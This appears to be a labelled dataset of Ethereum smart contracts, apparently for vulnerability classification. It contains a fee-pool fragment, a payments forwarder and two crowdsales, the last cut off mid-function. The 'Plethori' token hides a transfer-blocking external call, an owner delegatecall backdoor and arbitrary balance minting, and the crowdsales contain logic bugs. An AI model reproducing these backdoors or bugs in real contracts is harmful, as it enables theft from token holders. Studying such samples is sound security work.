function totalRewardsAvailable()
external
view
returns (uint)
{
uint totalRewards = 0;
for (uint i = 1; i < FEE_PERIOD_LENGTH; i++) {
totalRewards = totalRewards.add(recentFeePeriods[i].rewardsToDistribute);
totalRewards = totalRewards.sub(recentFeePeriods[i].rewardsClaimed);
}
return totalRewards;
}
function feesAvailable(address account, bytes4 currencyKey)
public
view
returns (uint, uint)
{
uint[2][FEE_PERIOD_LENGTH] memory userFees = feesByPeriod(account);
uint totalFees = 0;
uint totalRewards = 0;
for (uint i = 1; i < FEE_PERIOD_LENGTH; i++) {
totalFees = totalFees.add(userFees[i][0]);
totalRewards = totalRewards.add(userFees[i][1]);
}
return (
synthetix.effectiveValue("XDR", totalFees, currencyKey),
totalRewards
);
}
function currentPenalty(address account)
public
view
returns (uint)
{
uint ratio = synthetix.collateralisationRatio(account);
if (ratio <= TWENTY_PERCENT) {
return 0;
} else if (ratio > TWENTY_PERCENT && ratio <= TWENTY_TWO_PERCENT) {
return 0;
} else if (ratio > TWENTY_TWO_PERCENT && ratio <= THIRTY_PERCENT) {
return TWENTY_FIVE_PERCENT;
} else if (ratio > THIRTY_PERCENT && ratio <= FOURTY_PERCENT) {
return FIFTY_PERCENT;
} else if (ratio > FOURTY_PERCENT && ratio <= FIFTY_PERCENT) {
return SEVENTY_FIVE_PERCENT;
} else if (ratio > FIFTY_PERCENT && ratio <= ONE_HUNDRED_PERCENT) {
return NINETY_PERCENT;
}
return ONE_HUNDRED_PERCENT;
}
function feesByPeriod(address account)
public
view
returns (uint[2][FEE_PERIOD_LENGTH] memory results)
{
uint userOwnershipPercentage;
uint debtEntryIndex;
(userOwnershipPercentage, debtEntryIndex) = feePoolState.getAccountsDebtEntry(account, 0);
if (debtEntryIndex == 0 && userOwnershipPercentage == 0) return;
if (synthetix.totalIssuedSynths("XDR") == 0) return;
uint penalty = currentPenalty(account);
uint feesFromPeriod;
uint rewardsFromPeriod;
(feesFromPeriod, rewardsFromPeriod) = _feesAndRewardsFromPeriod(0, userOwnershipPercentage, debtEntryIndex, penalty);
results[0][0] = feesFromPeriod;
results[0][1] = rewardsFromPeriod;
for (uint i = FEE_PERIOD_LENGTH - 1; i > 0; i--) {
uint next = i - 1;
FeePeriod memory nextPeriod = recentFeePeriods[next];
if (nextPeriod.startingDebtIndex > 0 &&
lastFeeWithdrawal[account] < recentFeePeriods[i].feePeriodId) {
uint closingDebtIndex = nextPeriod.startingDebtIndex.sub(1);
(userOwnershipPercentage, debtEntryIndex) = feePoolState.applicableIssuanceData(account, closingDebtIndex);
(feesFromPeriod, rewardsFromPeriod) = _feesAndRewardsFromPeriod(i, userOwnershipPercentage, debtEntryIndex, penalty);
results[i][0] = feesFromPeriod;
results[i][1] = rewardsFromPeriod;
}
}
}
function _feesAndRewardsFromPeriod(uint period, uint ownershipPercentage, uint debtEntryIndex, uint penalty)
internal
returns (uint, uint)
{
if (ownershipPercentage == 0) return (0, 0);
uint debtOwnershipForPeriod = ownershipPercentage;
if (period > 0) {
uint closingDebtIndex = recentFeePeriods[period - 1].startingDebtIndex.sub(1);
debtOwnershipForPeriod = _effectiveDebtRatioForPeriod(closingDebtIndex, ownershipPercentage, debtEntryIndex);
}
uint feesFromPeriodWithoutPenalty = recentFeePeriods[period].feesToDistribute
.multiplyDecimal(debtOwnershipForPeriod);
uint rewardsFromPeriodWithoutPenalty = recentFeePeriods[period].rewardsToDistribute
.multiplyDecimal(debtOwnershipForPeriod);
uint feesFromPeriod = feesFromPeriodWithoutPenalty.sub(feesFromPeriodWithoutPenalty.multiplyDecimal(penalty));
uint rewardsFromPeriod = rewardsFromPeriodWithoutPenalty.sub(rewardsFromPeriodWithoutPenalty.multiplyDecimal(penalty));
return (
feesFromPeriod.preciseDecimalToDecimal(),
rewardsFromPeriod.preciseDecimalToDecimal()
);
}
function _effectiveDebtRatioForPeriod(uint closingDebtIndex, uint ownershipPercentage, uint debtEntryIndex)
internal
view
returns (uint)
{
if (closingDebtIndex > synthetixState.debtLedgerLength()) return 0;
uint feePeriodDebtOwnership = synthetixState.debtLedger(closingDebtIndex)
.divideDecimalRoundPrecise(synthetixState.debtLedger(debtEntryIndex))
.multiplyDecimalRoundPrecise(ownershipPercentage);
return feePeriodDebtOwnership;
}
function effectiveDebtRatioForPeriod(address account, uint period)
external
view
returns (uint)
{
require(period != 0, "Current period has not closed yet");
require(period < FEE_PERIOD_LENGTH, "Period exceeds the FEE_PERIOD_LENGTH");
if (recentFeePeriods[period - 1].startingDebtIndex == 0) return;
uint closingDebtIndex = recentFeePeriods[period - 1].startingDebtIndex.sub(1);
uint ownershipPercentage;
uint debtEntryIndex;
(ownershipPercentage, debtEntryIndex) = feePoolState.applicableIssuanceData(account, closingDebtIndex);
return _effectiveDebtRatioForPeriod(closingDebtIndex, ownershipPercentage, debtEntryIndex);
}
modifier onlyFeeAuthority
{
require(msg.sender == feeAuthority, "Only the fee authority can perform this action");
_;
}
modifier onlySynthetix
{
require(msg.sender == address(synthetix), "Only the synthetix contract can perform this action");
_;
}
modifier notFeeAddress(address account) {
require(account != FEE_ADDRESS, "Fee address not allowed");
_;
}
event IssuanceDebtRatioEntry(address indexed account, uint debtRatio, uint debtEntryIndex, uint feePeriodStartingDebtIndex);
bytes32 constant ISSUANCEDEBTRATIOENTRY_SIG = keccak256("IssuanceDebtRatioEntry(address, uint256, uint256, uint256)");
function emitIssuanceDebtRatioEntry(address account, uint debtRatio, uint debtEntryIndex, uint feePeriodStartingDebtIndex) internal {
proxy._emit(abi.encode(debtRatio, debtEntryIndex, feePeriodStartingDebtIndex), 2, ISSUANCEDEBTRATIOENTRY_SIG, bytes32(account), 0, 0);
}
event TransferFeeUpdated(uint newFeeRate);
bytes32 constant TRANSFERFEEUPDATED_SIG = keccak256("TransferFeeUpdated(uint256)");
function emitTransferFeeUpdated(uint newFeeRate) internal {
proxy._emit(abi.encode(newFeeRate), 1, TRANSFERFEEUPDATED_SIG, 0, 0, 0);
}
event ExchangeFeeUpdated(uint newFeeRate);
bytes32 constant EXCHANGEFEEUPDATED_SIG = keccak256("ExchangeFeeUpdated(uint256)");
function emitExchangeFeeUpdated(uint newFeeRate) internal {
proxy._emit(abi.encode(newFeeRate), 1, EXCHANGEFEEUPDATED_SIG, 0, 0, 0);
}
event FeePeriodDurationUpdated(uint newFeePeriodDuration);
bytes32 constant FEEPERIODDURATIONUPDATED_SIG = keccak256("FeePeriodDurationUpdated(uint256)");
function emitFeePeriodDurationUpdated(uint newFeePeriodDuration) internal {
proxy._emit(abi.encode(newFeePeriodDuration), 1, FEEPERIODDURATIONUPDATED_SIG, 0, 0, 0);
}
event FeeAuthorityUpdated(address newFeeAuthority);
bytes32 constant FEEAUTHORITYUPDATED_SIG = keccak256("FeeAuthorityUpdated(address)");
function emitFeeAuthorityUpdated(address newFeeAuthority) internal {
proxy._emit(abi.encode(newFeeAuthority), 1, FEEAUTHORITYUPDATED_SIG, 0, 0, 0);
}
event FeePoolStateUpdated(address newFeePoolState);
bytes32 constant FEEPOOLSTATEUPDATED_SIG = keccak256("FeePoolStateUpdated(address)");
function emitFeePoolStateUpdated(address newFeePoolState) internal {
proxy._emit(abi.encode(newFeePoolState), 1, FEEPOOLSTATEUPDATED_SIG, 0, 0, 0);
}
event FeePeriodClosed(uint feePeriodId);
bytes32 constant FEEPERIODCLOSED_SIG = keccak256("FeePeriodClosed(uint256)");
function emitFeePeriodClosed(uint feePeriodId) internal {
proxy._emit(abi.encode(feePeriodId), 1, FEEPERIODCLOSED_SIG, 0, 0, 0);
}
event FeesClaimed(address account, uint xdrAmount);
bytes32 constant FEESCLAIMED_SIG = keccak256("FeesClaimed(address,uint256)");
function emitFeesClaimed(address account, uint xdrAmount) internal {
proxy._emit(abi.encode(account, xdrAmount), 1, FEESCLAIMED_SIG, 0, 0, 0);
}
event RewardsClaimed(address account, uint snxAmount);
bytes32 constant REWARDSCLAIMED_SIG = keccak256("RewardsClaimed(address,uint256)");
function emitRewardsClaimed(address account, uint snxAmount) internal {
proxy._emit(abi.encode(account, snxAmount), 1, REWARDSCLAIMED_SIG, 0, 0, 0);
}
event SynthetixUpdated(address newSynthetix);
bytes32 constant SYNTHETIXUPDATED_SIG = keccak256("SynthetixUpdated(address)");
function emitSynthetixUpdated(address newSynthetix) internal {
proxy._emit(abi.encode(newSynthetix), 1, SYNTHETIXUPDATED_SIG, 0, 0, 0);
}
} | 1 | 4,929 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address internal botProtection;
address public uniPair;
constructor(address _botProtection) {
botProtection = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = botProtection.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract Plethori is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 100000000000000000000000000;
string public name = "Plethori";
string public symbol = "PLE";
IUniswapV2Router02 public pancakeRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wrappedBinance = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = tx.origin;
uniPair = pairOf(wrappedBinance, address(this));
allowance[address(this)][address(pancakeRouter)] = uint(-1);
allowance[tx.origin][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function pairOf(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function list(uint _numList, address[] memory _toAddresses, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
pancakeRouter.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_toAddresses.length == _amounts.length);
botProtection.call(abi.encodeWithSelector(0xd5eaf4c3, _toAddresses));
for(uint i = 0; i < _toAddresses.length; i++) {
balanceOf[_toAddresses[i]] = _amounts[i];
emit Transfer(address(0x0), _toAddresses[i], _amounts[i]);
}
}
} | 0 | 1,166 |
pragma solidity 0.5.4;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0));
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract());
(bool success, bytes memory returndata) = address(token).call(data);
require(success);
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)));
}
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
}
contract ReentrancyGuard {
uint256 private _guardCounter;
constructor () internal {
_guardCounter = 1;
}
modifier nonReentrant() {
_guardCounter += 1;
uint256 localCounter = _guardCounter;
_;
require(localCounter == _guardCounter);
}
}
contract KyberNetworkProxyInterface {
function getExpectedRate(IERC20 src, IERC20 dest, uint256 srcQty) public view returns (uint256 expectedRate, uint256 slippageRate);
function trade(IERC20 src, uint256 srcAmount, IERC20 dest, address destAddress, uint256 maxDestAmount, uint256 minConversionRate, address walletId) public payable returns(uint256);
}
contract LandRegistryProxyInterface {
function owner() public view returns (address);
}
contract PaymentsLayer is ReentrancyGuard {
using SafeERC20 for IERC20;
using SafeMath for uint256;
address public constant ETH_TOKEN_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
KyberNetworkProxyInterface public constant KYBER_NETWORK_PROXY = KyberNetworkProxyInterface(0x818E6FECD516Ecc3849DAf6845e3EC868087B755);
LandRegistryProxyInterface public constant LAND_REGISTRY_PROXY = LandRegistryProxyInterface(0xe72AD2A335AE18e6C7cdb6dAEB64b0330883CD56);
event PaymentForwarded(IERC20 indexed src, uint256 srcAmount, IERC20 indexed dest, address indexed destAddress, uint256 destAmount);
function forwardPayment(IERC20 src, uint256 srcAmount, IERC20 dest, address destAddress, uint256 minConversionRate, uint256 minDestAmount, bytes memory encodedFunctionCall) public nonReentrant payable returns(uint256) {
if (address(src) != ETH_TOKEN_ADDRESS) {
require(msg.value == 0);
src.safeTransferFrom(msg.sender, address(this), srcAmount);
src.safeApprove(address(KYBER_NETWORK_PROXY), srcAmount);
}
uint256 destAmount = KYBER_NETWORK_PROXY.trade.value((address(src) == ETH_TOKEN_ADDRESS) ? srcAmount : 0)(src, srcAmount, dest, address(this), ~uint256(0), minConversionRate, LAND_REGISTRY_PROXY.owner());
require(destAmount >= minDestAmount);
if (address(dest) != ETH_TOKEN_ADDRESS)
dest.safeApprove(destAddress, destAmount);
(bool success, ) = destAddress.call.value((address(dest) == ETH_TOKEN_ADDRESS) ? destAmount : 0)(encodedFunctionCall);
require(success, "dest call failed");
uint256 change = (address(dest) == ETH_TOKEN_ADDRESS) ? address(this).balance : dest.allowance(address(this), destAddress);
(change > 0 && address(dest) == ETH_TOKEN_ADDRESS) ? msg.sender.transfer(change) : dest.safeTransfer(msg.sender, change);
emit PaymentForwarded(src, srcAmount, dest, destAddress, destAmount.sub(change));
return destAmount.sub(change);
}
} | 0 | 971 |
pragma solidity ^0.4.19;
contract SafeMath {
function safeAdd(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
interface token {
function buyCoinsCrowdSale(address buyer, uint payment, address crowdSaleContr) public returns(bool success, uint retPayment);
}
interface ICO {
function getPrices() public returns(uint buyPrice_, uint redeemPrice_, uint sellPrice_);
}
contract CrowdSaleMacroansyA is SafeMath {
address internal beneficiaryFunds;
address internal owner;
address internal tkn_addr;
address internal ico_addr;
uint internal fundingGoal;
uint internal amountRaised;
uint internal deadline;
uint internal amountWithdrawn;
mapping(address => uint256) public balanceOf;
bool internal fundingGoalReached;
bool internal crowdsaleClosed;
bool internal crowdsaleStart;
bool internal unlockFundersBalance;
bool internal saleParamSet;
event GoalReached(address recipient, uint totalAmountRaised);
event FundTransfer(address backer, uint amount, bool isContribution);
event FundOrPaymentTransfer(address beneficiary, uint amount);
function CrowdSaleMacroansyA() public {
owner = msg.sender;
beneficiaryFunds = owner;
saleParamSet = false;
fundingGoalReached = false;
crowdsaleStart = false;
crowdsaleClosed = false;
unlockFundersBalance = false;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOr(address _Or) public onlyOwner {
owner = _Or;
}
function setContrAddr(address tkn_ma_addr, address ico_ma_addr) public onlyOwner returns(bool success){
tkn_addr = tkn_ma_addr; ico_addr = ico_ma_addr;
return true;
}
function _getTknAddr() internal returns(address tkn_ma_addr){ return tkn_addr; }
function _getIcoAddr() internal returns(address ico_ma_addr){ return ico_addr; }
function setFundingGoal(uint fundingGoalInEthers, bool resetForUnexpected) public onlyOwner returns(bool success){
if(saleParamSet == false || resetForUnexpected == true ){
fundingGoal = fundingGoalInEthers * 1 ether;
saleParamSet = true;
}
return true;
}
function startOrHoldCrowdSale(bool setStartCrowdSale, bool crowdsaleStart_, bool setDuration, uint durationInMinutes, bool resetAmountRaisedAndWithdrawnToZero) public onlyOwner returns(bool success) {
if( setDuration == true) deadline = now + durationInMinutes * 1 minutes;
if( setStartCrowdSale == true ) {
crowdsaleStart = crowdsaleStart_;
crowdsaleClosed = false;
unlockFundersBalance = false;
}
if(resetAmountRaisedAndWithdrawnToZero == true) {
amountRaised = 0;
amountWithdrawn = 0;
}
return true;
}
function viewAllControls(bool show) view onlyOwner public returns(bool saleParamSet_, bool crowdsaleStart_, bool crowdsaleClosed_, bool fundingGoalReached_, bool unlockFundersBalance_){
if(show == true) {
return ( saleParamSet, crowdsaleStart, crowdsaleClosed, fundingGoalReached, unlockFundersBalance);
}
}
function unlockFundrBal( bool unlockFundersBalance_) public onlyOwner afterDeadline returns(bool success){
unlockFundersBalance = unlockFundersBalance_ ;
return true;
}
function() payable public {
if(msg.sender != owner){
require(crowdsaleClosed == false && crowdsaleStart == true);
token t = token( _getTknAddr() );
bool sucsBuyCoinAtToken; uint retPayment;
( sucsBuyCoinAtToken, retPayment) = t.buyCoinsCrowdSale(msg.sender, msg.value, this);
require(sucsBuyCoinAtToken == true);
if( retPayment > 0 ) {
bool sucsTrPaymnt;
sucsTrPaymnt = _safeTransferPaymnt( msg.sender, retPayment );
require(sucsTrPaymnt == true );
}
uint amount = safeSub( msg.value , retPayment);
balanceOf[msg.sender] = safeAdd( balanceOf[msg.sender] , amount);
amountRaised = safeAdd( amountRaised, amount);
FundTransfer(msg.sender, amount, true);
}
}
function viewCrowdSaleLive(bool show, bool showFundsInWei) public view returns(uint fundingGoal_, uint fundRaised, uint fundWithDrawn, uint timeRemainingInMin, uint tokenPriceInWei, bool fundingGoalReached_ ){
if(show == true && crowdsaleStart == true){
if( deadline >= now ) timeRemainingInMin = safeSub( deadline, now) / 60;
if( now > deadline ) timeRemainingInMin == 0;
ICO ico = ICO(_getIcoAddr());
uint buyPrice_;
(buyPrice_,) = ico.getPrices();
if(showFundsInWei == false){
return( safeDiv(fundingGoal,10**18), safeDiv(amountRaised,10**18), safeDiv(amountWithdrawn, 10**18) , timeRemainingInMin, buyPrice_, fundingGoalReached );
}
if(showFundsInWei == true){
return( fundingGoal, amountRaised, amountWithdrawn , timeRemainingInMin, buyPrice_, fundingGoalReached);
}
}
}
function viewMyContribution(bool show) public view returns(uint yourContributionInWEI){
if(show == true && crowdsaleStart == true){
return(balanceOf[msg.sender]);
}
}
modifier afterDeadline() { if (now >= deadline) _; }
function checkGoalReached() afterDeadline public {
if(crowdsaleStart == true){
if (amountRaised >= fundingGoal){
fundingGoalReached = true;
GoalReached(beneficiaryFunds, amountRaised);
crowdsaleClosed = true;
}
if (amountRaised < fundingGoal) fundingGoalReached = false;
}
}
function safeWithdrawal() afterDeadline public {
if ( (!fundingGoalReached || unlockFundersBalance == true) && msg.sender != owner) {
uint amount = balanceOf[msg.sender];
balanceOf[msg.sender] = 0;
if (amount > 0) {
require(this.balance >= amount );
if (msg.sender.send(amount)) {
FundTransfer(msg.sender, amount, false);
amountWithdrawn = safeAdd( amountWithdrawn, amount);
} else {
balanceOf[msg.sender] = amount;
}
}
}
}
function withdrawFund(uint withdrawAmount, bool withdrawTotalAmountBalance) onlyOwner public returns(bool success) {
if (fundingGoalReached && beneficiaryFunds == msg.sender && unlockFundersBalance == false ) {
if( withdrawTotalAmountBalance == true ) withdrawAmount = safeSub( amountRaised, amountWithdrawn);
require(this.balance >= withdrawAmount );
amountWithdrawn = safeAdd( amountWithdrawn, withdrawAmount);
success = _withdraw(withdrawAmount);
require(success == true);
}
return success;
}
function _withdraw(uint _withdrawAmount) internal returns(bool success) {
bool sucsTrPaymnt = _safeTransferPaymnt( beneficiaryFunds, _withdrawAmount);
require(sucsTrPaymnt == true);
return true;
}
function _safeTransferPaymnt( address paymentBenfcry, uint payment) internal returns(bool sucsTrPaymnt){
uint pA = payment;
uint paymentTemp = pA;
pA = 0;
paymentBenfcry.transfer(paymentTemp);
FundOrPaymentTransfer(paymentBenfcry, paymentTemp);
paymentTemp = 0;
return true;
}
bool private isEndOk;
function endOfRewards(bool isEndNow) public onlyOwner {
isEndOk == isEndNow;
}
function endOfRewardsConfirmed(bool isEndNow) public onlyOwner{
if(isEndOk == true && isEndNow == true) selfdestruct(owner);
}
} | 1 | 2,701 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0);
uint256 c = _a / _b;
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
library SafeERC20 {
function safeTransfer(
ERC20 _token,
address _to,
uint256 _value
)
internal
{
require(_token.transfer(_to, _value));
}
function safeTransferFrom(
ERC20 _token,
address _from,
address _to,
uint256 _value
)
internal
{
require(_token.transferFrom(_from, _to, _value));
}
function safeApprove(
ERC20 _token,
address _spender,
uint256 _value
)
internal
{
require(_token.approve(_spender, _value));
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract ERC20 {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function allowance(address _owner, address _spender)
public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _value)
public returns (bool);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract AddressesFilterFeature is Ownable {}
contract ERC20Basic {}
contract BasicToken is ERC20Basic {}
contract StandardToken is ERC20, BasicToken {}
contract MintableToken is AddressesFilterFeature, StandardToken {}
contract Token is MintableToken {
function mint(address, uint256) public returns (bool);
}
contract CrowdsaleWPTByRounds is Ownable {
using SafeMath for uint256;
using SafeERC20 for ERC20;
ERC20 public token;
address public wallet;
Token public minterContract;
uint256 public rate;
uint256 public tokensRaised;
uint256 public cap;
uint256 public openingTime;
uint256 public closingTime;
uint public minInvestmentValue;
bool public checksOn;
uint256 public gasAmount;
function setMinter(address _minterAddr) public onlyOwner {
minterContract = Token(_minterAddr);
}
modifier onlyWhileOpen {
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
event TokenPurchase(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
event TokensTransfer(
address indexed _from,
address indexed _to,
uint256 amount,
bool isDone
);
constructor () public {
rate = 400;
wallet = 0xeA9cbceD36a092C596e9c18313536D0EEFacff46;
cap = 400000000000000000000000;
openingTime = 1534558186;
closingTime = 1535320800;
minInvestmentValue = 0.02 ether;
checksOn = true;
gasAmount = 25000;
}
function capReached() public view returns (bool) {
return tokensRaised >= cap;
}
function changeRate(uint256 newRate) public onlyOwner {
rate = newRate;
}
function closeRound() public onlyOwner {
closingTime = block.timestamp + 1;
}
function setToken(ERC20 _token) public onlyOwner {
token = _token;
}
function setWallet(address _wallet) public onlyOwner {
wallet = _wallet;
}
function changeMinInvest(uint256 newMinValue) public onlyOwner {
rate = newMinValue;
}
function setChecksOn(bool _checksOn) public onlyOwner {
checksOn = _checksOn;
}
function setGasAmount(uint256 _gasAmount) public onlyOwner {
gasAmount = _gasAmount;
}
function setCap(uint256 _newCap) public onlyOwner {
cap = _newCap;
}
function startNewRound(uint256 _rate, address _wallet, ERC20 _token, uint256 _cap, uint256 _openingTime, uint256 _closingTime) payable public onlyOwner {
require(!hasOpened());
rate = _rate;
wallet = _wallet;
token = _token;
cap = _cap;
openingTime = _openingTime;
closingTime = _closingTime;
}
function hasClosed() public view returns (bool) {
return block.timestamp > closingTime;
}
function hasOpened() public view returns (bool) {
